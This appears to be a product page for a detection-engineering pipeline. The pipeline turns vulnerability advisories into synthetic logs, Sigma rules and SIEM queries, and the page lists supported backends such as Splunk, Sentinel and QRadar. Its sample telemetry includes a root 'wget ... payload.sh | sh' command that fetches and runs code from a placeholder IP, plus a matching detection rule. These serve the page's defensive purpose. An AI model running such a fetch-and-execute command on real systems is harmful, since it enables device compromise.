Built for the gap between a new advisory appearing and a security team having enough evidence to respond with confidence, the workflow turns early research into synthetic logs, candidate detections, and validation context that teams can review before operational handoff.
The pipeline does not hide the workflow behind a single generation step. It resolves the chain in order: source intake, synthetic telemetry, structured detection reasoning, and the final reviewable artifact.
Ingest a vendor advisory, exploit write-up, or analyst notes and anchor the workflow around the behavior that matters now.
source.url = https://vendor.example/advisories/CVE-2026-1042target.behavior = command injection over management planeobjective = produce reviewable early-stage coverageModel the attacker sequence and emit replayable telemetry so detection teams can reason about observables before field logs are mature.
{"ts":"2026-03-21T09:14:26Z","service":"cwmp","action":"Download","device":"openwrt-ap01"}{"ts":"2026-03-21T09:14:27Z","proc":"sh","argv":"wget http://198.51.100.24/payload.sh | sh","uid":0}{"ts":"2026-03-21T09:14:29Z","net.dst":"198.51.100.24","proto":"http","bytes_out":1842}Map generated behavior into structured findings, candidate signals, and deployment-ready detection reasoning without treating the output as a black box.
Deliver a clean final artifact the team can review, tune, and move into Splunk, Sentinel, or an internal detection library.
title: OpenWRT CWMP Download Command Injectionselection: process.command_line|contains: "wget http://"condition: selection and device.product == "OpenWRT"Four distinct workflow types are already supported. That matters because not every team starts from the same level of evidence, urgency, or operational maturity.
Paste an advisory or write-up when a zero-day is new and field telemetry is still limited. The workflow turns that source into synthetic logs and candidate detections for early coverage.
Use the core when the main need is replayable telemetry. This is useful when teams want something concrete to reason about before strong production detections exist.
Start from supplied telemetry when the environment already has evidence. It can then generate detections grounded in what was actually observed.
Bring an existing detection query and measure how well it covers the behavior you care about. This is the right path when the team already has content but needs faster validation.
It helps teams create and validate detection content faster. The output is meant to feed the SIEM, detection platform, or internal library the team already uses.
The strongest use case is faster first-pass coverage with analyst review, not automatic promotion of every generated artifact into production.
The product is especially useful when a new vulnerability appears and defenders only have an advisory or early write-up. That is where synthetic logs and candidate detections are most valuable.
Sigma rules are the canonical source of truth. Every backend query compiles directly from the same portable rule.
Search Processing Language queries with field-value pairs and pipeline operators for Splunk SIEM.
Kusto Query Language for Microsoft Sentinel, with table joins and time-series filtering.
Three Elastic query formats: EQL for event sequences, KQL for keyword filtering, and ES|QL for analytics.
YARA-L rules for Google Security Operations Chronicle, structured around entity and event matching.
XDR Query Language for Palo Alto Cortex, with dataset selectors and behavioral correlation.
Falcon LogScale Composite Query Language for CrowdStrike, optimized for streaming log ingestion.
Sumo Logic structured search queries with keyword and field-based log filtering.
Ariel Query Language for IBM QRadar SIEM, SQL-style with event and flow database access.
The pipeline was built by translating seven peer-reviewed papers directly into production engineering decisions. From how attack steps are structured to how detection conditions are filtered, every algorithmic choice has a measurable improvement behind it.